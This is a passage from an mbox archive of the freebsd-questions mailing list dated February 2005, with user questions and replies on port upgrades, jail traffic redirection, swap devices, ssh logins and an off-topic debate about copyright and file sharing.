local; Sun, 06 Feb 2005 10:16:04 +0100 Date: Sun, 6 Feb 2005 10:16:04 +0100 To: "Michael C. Shultz" Message-ID: <20050206091604.GA18256@lothlorien.nagual.st> References: <020620050403.20725.4205971A0000F1DE000050F522007481849D0A070E03A19FA1020E089B0E02@comcast.net> <200502052142.39080.reso3w83@verizon.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline In-Reply-To: <200502052142.39080.reso3w83@verizon.net> User-Agent: Mutt/1.4.2.1i From: Dick Hoogendijk cc: freebsd-questions Subject: Re: Trying to get glib updated to run AbiWord-2.0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:17:11 -0000 On 05 Feb Michael C. Shultz wrote: > Try to upgrade with sysutils/portmanager, it doesn't require ruby. Can it upgrade just _one_ port ? -- dick -- http://nagual.st/ -- PGP/GnuPG key: F86289CE ++ Running FreeBSD 4.11 ++ FreeBSD 5.3 + Nai tiruvantel ar vayuvantel i Valar tielyanna nu vilja From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:17:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 477B716A4CE for ; Sun, 6 Feb 2005 09:17:27 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id AFA7443D45 for ; Sun, 6 Feb 2005 09:17:26 +0000 (GMT) (envelope-from freebsd99@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so609803wri for ; Sun, 06 Feb 2005 01:17:25 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=n1OTVeTu8vVUr3sah7o788BLloIHywSD743cseHysBwnDsB2u9oiPH+Cn0JxEMNlyn8ezngZ3lDjIpEyRq08KttooGqCy4WHQ2NgM69cmAtErfGi3fryN+aUsNyjASc62TiVLo0ruFMwXgrL00jFUoxRz/oW0IDDO6wJtRH6w3I= Received: by 10.54.53.71 with SMTP id b71mr185229wra; Sun, 06 Feb 2005 01:17:25 -0800 (PST) Received: by 10.54.2.60 with HTTP; Sun, 6 Feb 2005 01:17:25 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 17:17:25 +0800 From: r p To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Redirect based on domain name X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: r p List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:17:27 -0000 Hi, I've set up two jails on my system. I'm wondering if it's possible to redirect incoming traffic to a particular jail based on the domain name? So, if someone connected to "first.com" they would be directed to the 192.168.0.1 jail, and if they connected to "second.com" they would be directed to the 192.168.0.2 jail. I'd like to do it for www and ssh. Someone suggested to me that maybe squid could be employed for the www part. At the moment I'm achieving this by listening for non-standard ports on my firewall/gateway box and then redirecting to the correct jail based on what port is connected to. Any ideas, or pointers? --- Rick From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:39:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E17B716A4CE; Sun, 6 Feb 2005 09:39:27 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5B03643D2F; Sun, 6 Feb 2005 09:39:15 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j169d5Gf001175 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 01:39:05 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j169d2dX001173; Sun, 6 Feb 2005 01:39:02 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 01:39:02 -0800 From: "Loren M. Lang" To: "Greg 'groggy' Lehey" Message-ID: <20050206093902.GN8619@alzatex.com> References: <200502051745.25937.hindrich@worldchat.com> <20050206013000.GB49637@wantadilla.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050206013000.GB49637@wantadilla.lemis.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: Peterhin cc: freebsd-questions@freebsd.org Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:39:28 -0000 On Sun, Feb 06, 2005 at 12:00:01PM +1030, Greg 'groggy' Lehey wrote: > On Saturday, 5 February 2005 at 17:45:25 -0500, Peterhin wrote: > > > > Is it better to leave a computer (a stand alone) running continuously or > > is it OK to shut it down at the end of the day.? > > I remember years ago someone mentioned that it is better for the > > circuitry to leave it running. > > Any thoughts would be greatly appreciated > > I won't jump in on the bikeshed about the effects on the electronics. > A thing that nobody has mentioned so far is that by default, the > system performs a number of functions (via cron) in the middle of the > night. If you turn it off, you should check /etc/crontab and decide > when to perform the nightly maintenance. sysutils/anacron is a program that runs on boot and determines what cron jobs would of been run while the system wasn't running then starts them. > > Greg > -- > When replying to this message, please copy the original recipients. > If you don't, I may ignore the reply or reply to the original recipients. > For more information, see http://www.lemis.com/questions.html > See complete headers for address and phone numbers. -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:39:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8A7CD16A4CE for ; Sun, 6 Feb 2005 09:39:47 +0000 (GMT) Received: from mail.cs.fsu.edu (CS2075.cs.fsu.edu [128.186.122.75]) by mx1.FreeBSD.org (Postfix) with ESMTP id 312B043D53 for ; Sun, 6 Feb 2005 09:39:47 +0000 (GMT) (envelope-from mhines@cs.fsu.edu) Received: from diablo.cs.fsu.edu (diablo.cs.fsu.edu [128.186.120.2]) by mail.cs.fsu.edu (Postfix) with ESMTP id 1FEF8F2D7C for ; Sun, 6 Feb 2005 04:40:03 -0500 (EST) Received: from localhost (mhines@localhost)j169bWps025721 for ; Sun, 6 Feb 2005 04:37:32 -0500 (EST) X-Authentication-Warning: diablo.cs.fsu.edu: mhines owned process doing -bs Date: Sun, 6 Feb 2005 04:37:32 -0500 (EST) From: Michael Hines To: freebsd-questions@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: increasing swap activity X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:39:47 -0000 I've written a remote-memory system for a thesis of mine. As a result, I'm able to setup a diskless client that swaps to remote memory instead of a remote disk. The specifics, reasons, and design of the system are a long story.... However - this system allows for much faster page-fault latencies (on the order of 10-20 times faster than using a disk for swap space). The problem is: I cannot get the swapper to page-out or page-in data any faster. My end question is: how would one DRASTICALLY increase the rate at which the system does its paging in freebsd? Everthing I find on the net says "don't mess with freebsd's VM system or you'll die and go to hell." However, I do in fact need to drastically increase the paging bandwidth. Anybody know how? Preferably during runtime? Thanks a lot. /*********************************/ Michael R. Hines Grad Student, Florida State Dept. Computer Science http://www.cs.fsu.edu/~mhines/ Jusqu'a ce que le futur vienne... /*********************************/ From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:41:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C9C3A16A4CE for ; Sun, 6 Feb 2005 09:41:14 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 829DE43D3F for ; Sun, 6 Feb 2005 09:41:07 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j169evGf001208 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 01:40:57 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j169et5N001206; Sun, 6 Feb 2005 01:40:55 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 01:40:54 -0800 From: "Loren M. Lang" To: Gert Cuykens Message-ID: <20050206094054.GO8619@alzatex.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: gtk2 questions ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:41:14 -0000 On Sat, Feb 05, 2005 at 09:47:03PM +0100, Gert Cuykens wrote: > Where can i ask gtk2 questions like > > What i must do to convert this to gtk2 ? http://www.gtk.org/ > > ---------------------------------------- > #ifdef __hpux > #define G_INLINE_FUNC > #endif > ---------------------------------------- > > ---------------------------------------- > #include > ---------------------------------------- > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:41:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B493F16A4CE for ; Sun, 6 Feb 2005 09:41:33 +0000 (GMT) Received: from out009.verizon.net (out009pub.verizon.net [206.46.170.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id F128643D31 for ; Sun, 6 Feb 2005 09:41:32 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050206094132.ZUS4172.out009.verizon.net@ringworm.mechee.com>; Sun, 6 Feb 2005 03:41:32 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id A4BC72CE745; Sun, 6 Feb 2005 01:37:31 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 01:37:30 -0800 User-Agent: KMail/1.7.2 References: <020620050403.20725.4205971A0000F1DE000050F522007481849D0A070E03A19FA1020E089B0E02@comcast.net> <200502052142.39080.reso3w83@verizon.net> <20050206091604.GA18256@lothlorien.nagual.st> In-Reply-To: <20050206091604.GA18256@lothlorien.nagual.st> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502060137.31025.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 03:41:32 -0600 Subject: Re: Trying to get glib updated to run AbiWord-2.0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:41:33 -0000 On Sunday 06 February 2005 01:16 am, Dick Hoogendijk wrote: > On 05 Feb Michael C. Shultz wrote: > > Try to upgrade with sysutils/portmanager, it doesn't require ruby. > > Can it upgrade just _one_ port ? No, it upgrades everything that needs upgrading. You may ignore certain ports if they are big and you don't want to wait. -Mike From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:45:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C11F216A4CE for ; Sun, 6 Feb 2005 09:45:02 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id EED0D43D1D for ; Sun, 6 Feb 2005 09:44:52 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j169ijGf001225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 6 Feb 2005 01:44:46 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j169ij8R001223 for freebsd-questions@freebsd.org; Sun, 6 Feb 2005 01:44:45 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 01:44:45 -0800 From: "Loren M. Lang" To: freebsd-questions@freebsd.org Message-ID: <20050206094445.GP8619@alzatex.com> References: <51563600.20050205125343@wanadoo.fr> <20050205130310.GM8619@alzatex.com> <442923970.20050205235400@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <442923970.20050205235400@wanadoo.fr> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C Subject: Re: Running top without a shell -- more questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:45:02 -0000 On Sat, Feb 05, 2005 at 11:54:00PM +0100, Anthony Atkielski wrote: > Loren M. Lang writes: > > LML> Right now I have two login processes running, one for each virtual > LML> console I am logged in at the moment, though my ssh login shells don't > LML> have any login processes for them. My guess is that there staying > LML> around for some cleanup work to do at logout. I think it might be > LML> related to the pam session management modules like changing certain file > LML> permissions when a shell logs in and out and it just happens that only > LML> my virtual consoles need to do any cleanup jobs. If it is pam doing it, > LML> you might be able change it's configuration, but I don't think it's a > LML> big deal security wise. > > I don't mind the overhead of the process, as long as it's not something > "abnormal" or a security risk. I don't see it for my other logins, but > then again, they are all ssh logins, which apparently are handled > differently (does login even get invoked for ssh users?). Oh, that's right, openssh doesn't even use login. I think there is an option to enable openssh to invoke login instead of doing it own thing but it's not default. I think it's for security reasons, they have more control over the login process that way, but that doesn't mean the login program itself is insecure. > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:49:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3910F16A4CE for ; Sun, 6 Feb 2005 09:49:05 +0000 (GMT) Received: from av2-1-sn3.vrr.skanova.net (av2-1-sn3.vrr.skanova.net [81.228.9.107]) by mx1.FreeBSD.org (Postfix) with ESMTP id AB15443D39 for ; Sun, 6 Feb 2005 09:49:04 +0000 (GMT) (envelope-from homebell@telia.com) Received: by av2-1-sn3.vrr.skanova.net (Postfix, from userid 502) id 835B437E66; Sun, 6 Feb 2005 10:49:03 +0100 (CET) Received: from smtp1-2-sn3.vrr.skanova.net (smtp1-2-sn3.vrr.skanova.net [81.228.9.178]) by av2-1-sn3.vrr.skanova.net (Postfix) with ESMTP id 720F437E51 for ; Sun, 6 Feb 2005 10:49:03 +0100 (CET) Received: from [192.168.0.3] (h138n2fls31o930.telia.com [217.210.244.138]) by smtp1-2-sn3.vrr.skanova.net (Postfix) with ESMTP id 595383800B for ; Sun, 6 Feb 2005 10:49:03 +0100 (CET) Message-ID: <4205E80F.2030206@telia.com> Date: Sun, 06 Feb 2005 10:49:03 +0100 From: "Kjell B." Organization: Not particularly organized User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041206 Thunderbird/1.0 Mnenhy/0.7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Subject: rad5s1b shows up mysteriously instead of ad5s1b X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:49:05 -0000 I just moved my disks to a different controller and this happened to (part of) my swap. I have searched the mailing lists, the FreeBSD homepage and Googled without success. I basically have two disks: ad0 and ad1 before the move; ad4 and ad5 after the move. ad0/ad4 is the main disk while ad1/ad5 is my backup disk. Before the move: # See the fstab(5) manual page for important information on automatic mounts # of network filesystems before modifying this file. # # Device Mountpoint FStype Options Dump Pass# /dev/ad0s1b none swap sw 0 0 /dev/ad1s1b none swap sw 0 0 /dev/ad0s1a / ufs rw 1 1 /dev/ad1s1e /rootback ufs rw 1 1 /dev/ad1s1f /backup ufs rw 2 2 /dev/ad0s1f /tmp ufs rw 2 2 /dev/ad0s1g /usr ufs rw 2 2 /dev/ad0s1e /var ufs rw 2 2 #/dev/ad1s1a /mnt/newroot ufs rw 1 1 #/dev/ad1s1e /mnt/newvar ufs rw 2 2 #/dev/ad1s1f /mnt/newtmp ufs rw 2 2 #/dev/ad1s1g /mnt/newusr ufs rw 2 2 /dev/acd0c /cdrom cd9660 ro,noauto 0 0 /dev/acd1c /cdrom1 cd9660 ro,noauto 0 0 proc /proc procfs rw 0 0 /dev/ad4s2 /ntfs/c ntfs rw,noauto 0 0 /dev/ad4s5 /ntfs/f ntfs rw,noauto 0 0 /dev/ad4s6 /ntfs/g ntfs rw,noauto 0 0 /dev/ad4s7 /ntfs/h ntfs rw,noauto 0 0 After the move (and physical removal of the NTFS disk): # See the fstab(5) manual page for important information on automatic mounts # of network filesystems before modifying this file. # # Device Mountpoint FStype Options Dump Pass# /dev/ad4s1b none swap sw 0 0 /dev/ad5s1b none swap sw 0 0 /dev/ad4s1a / ufs rw 1 1 /dev/ad5s1e /rootback ufs rw 1 1 /dev/ad5s1f /backup ufs rw 2 2 /dev/ad4s1f /tmp ufs rw 2 2 /dev/ad4s1g /usr ufs rw 2 2 /dev/ad4s1e /var ufs rw 2 2 #/dev/ad1s1a /mnt/newroot ufs rw 1 1 #/dev/ad1s1e /mnt/newvar ufs rw 2 2 #/dev/ad1s1f /mnt/newtmp ufs rw 2 2 #/dev/ad1s1g /mnt/newusr ufs rw 2 2 /dev/acd0c /cdrom cd9660 ro,noauto 0 0 /dev/acd1c /cdrom1 cd9660 ro,noauto 0 0 proc /proc procfs rw 0 0 #/dev/ad4s2 /ntfs/c ntfs rw,noauto 0 0 #/dev/ad4s5 /ntfs/f ntfs rw,noauto 0 0 #/dev/ad4s6 /ntfs/g ntfs rw,noauto 0 0 #/dev/ad4s7 /ntfs/h ntfs rw,noauto 0 0 My swap areas are not ad4s1b and ad5s1b as I have defined, but rather ad4s1b and rad5s1b. Webmin reports: Mounted as Type Location In use? Permanent? Virtual Memory Virtual Memory (swap) /dev/ad4s1b Yes Yes Virtual Memory Virtual Memory (swap) /dev/ad5s1b No Yes Virtual Memory Virtual Memory (swap) /dev/rad5s1b Yes No Any explanation? What is rad? Is more info needed and if so: what? -- Kjell From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:55:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EDF0F16A4CE for ; Sun, 6 Feb 2005 09:55:47 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 40EBE43D3F for ; Sun, 6 Feb 2005 09:55:47 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j169tnj97956 for ; Sun, 6 Feb 2005 01:55:49 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sun, 6 Feb 2005 01:55:46 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1258430214.20050206025603@wanadoo.fr> Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:55:48 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 05, 2005 5:56 PM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > Sandy Rutherford writes: > > SR> This is not so clear. In a March 2004 decision regarding > P-to-P music > SR> sharing, Justice von Finckenstein of the Federal Court of > Canada ruled > SR> that: > SR> > SR> The mere fact of placing a copy on a shared directory > in a computer > SR> where that copy can be accessed via a P2P service does > not amount to > SR> distribution. Before it constitutes distribution, there > must be a > SR> positive act by the owner of the shared directory, such > as sending out > SR> the copies or advertising that they are available for copying. > > Or allowing a Web site to be indexed by a search engine. > > I'll grant that a site that is public but not linked to or indexed by > anyone could be assimilated with a non-public venue. > This is a bit of twisting of the definition of "site that is public" in my opinion. Suppose I setup a webserver at example.com that will only respond to http://www.example.com/12345678qwerty/ and will ignore any other HTTP requests (such as to www.example.com, www.example.com/index.html, etc. I think it would be incredibly difficult to argue that this is a public server in any way. The trailing /12345678qwerty/ is in effect an access password to the material on the website. Just because there's no real .htaccess or some such real HTTP password authentication on the site, doesen't make it a public site. An access password is a password, regardless of whether delivered as a trailing URL or in an HTTP-auth request. > SR> A parallel here would be that placing copyright material > on a public > SR> website would not amount to distribution and therefore, not be a > SR> copyright infringement. Of course, it could be argued > that if Google > SR> started linking to it, that would constitute advertisement. > > Absolutely. > > SR> However, it is hard to see that as the prerequisite "positive act" > SR> on the part of the web site owner. It is more a positive act on > SR> Google's part. > > Google doesn't find out about sites through magic. Webmasters must > request that their sites be indexed. > Not true, Google also picks up sites from links off other sites. Someone could go out and setup a brand new domain example.com, this will be publically available via WHOIS, someone else finds it, tacks on "www" to the domain making www.example.com, finds a website there, links to it, and bang - google finds it. Fortunately, caselaw so far has held that there's no requirement to ask for permission to link, see: http://www.gigalaw.com/library/ticketmaster-tickets-2000-03-27.html So at least the courts aren't idiots yet, here. Of course, linking to a site that's password-protected, with a link that provides both the site URL and the password, might be considered a bit differently if the purpose of the link was to do something illegal (particularly if it fell under the DMCA restrictions) And of course including another person's site in a frameset of yours is definitely illegal without permission, as it is appropriating another person's copyrighted material for your own use, because doing this makes their material part of your site. > > SR> In his ruling, Finckenstein pointed out that there is a > parallel with > SR> public libraries. A public library does not infringe on copyright, > SR> simply by having books available for loan. > > That's not really a parallel. I agree with this, there is no parallel. The people that argue that downloading music from other people is "loaning" the material are fools. > Libraries loan books and in so > doing move > content from one place to another; they do not _copy_ content. Many times more than books - most large libraries have extensive CD and DVD collections. Ours for example gets first-run DVD's the same time that the local Blockbuster rental place does. Of course, there's a huge waiting list for them :-) > Infringement involves illegal reproduction in the vast > majority of cases > (on rare occasions it can involve unlicensed use, such as in > the case of > unlicensed performances of theatrical works). > > SR> Interestingly enough, Finckenstein also ruled that the act of > SR> downloading copyright material from a P-to-P server also does not > SR> infringe copyright. As far as I know, unlimited P-to-P sharing of > SR> copyright material is still fully legal in Canada. > > I'm not sure that Finckenstein fully understood the issue, then. > No, in this I think he did. It's one thing to download a copyrighted piece of material, the copyright violation occurs when the copyrighted piece is actually played on the destination computer, cd player, etc. because only at that instant of use does multiple copies of the material come into existence and the original creator is damaged. Consider the process of downloading, the copyrighted material passes through a great number of networks which (for a short time, of course) have copies of this material. For example assume the downloader is using a proxy server at an ISP. A copy of the material exists on that proxy server, and after the download is completed it may exist for weeks or months. If you based copyright violations purely on the idea of making it illegal for someone to posses a copy of the material, then the ISP that owns the proxy server now becomes liable. And of course, archival copies to backup media, etc. also become illegal. Now quite obviously everyone downloading illegal copies of music or whatnot are going to be listening to it, so it's kind of moot issue in filesharing networks in my opinion. But, the distinction exists and is important. You prosecute people for actually stealing the jewels, not for just having the lockpick, crowbar, skimask and gloves. Unfortunately too many content creators would rather have you believe that they are damaged just because you merely possess an illegal copy of their work, and not because you are actually using that illegal copy. There's a strong brainwashing campaign to make the assumption that possession = use. As in, I possess the atomic bomb, therefore I'm an evil child-killer because I quite obviously am going to use the atomic bomb. Uh, well, I guess the brainwashing campaign doesen't extend to armaments, at least not according to the current administration in the United States. ;-) With weapons, they got the reverse brainwashing campaign running (more bombs = more safe) Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:59:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6E86616A4CE for ; Sun, 6 Feb 2005 09:59:47 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1E25E43D39 for ; Sun, 6 Feb 2005 09:59:47 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j169xij98272; Sun, 6 Feb 2005 01:59:44 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Robert Marella" , Date: Sun, 6 Feb 2005 01:59:40 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1107650090.5213.9.camel@p4> Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:59:47 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Robert Marella > Sent: Saturday, February 05, 2005 4:35 PM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > Am I the only one longing for a freebsd-legal mail list that I will not > subscribe to? > Hmm - let's see now, FreeBSD's entire reason for existence is to keep UNIX from being legally locked up by copyright holders so that people like you can play with it - and you purport to be completely uninterested in legal issues? I guess only the FreeBSD legal issues that don't directly affect you - now what were those again? Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 10:03:29 2005 Return-Path: Delivered-To: 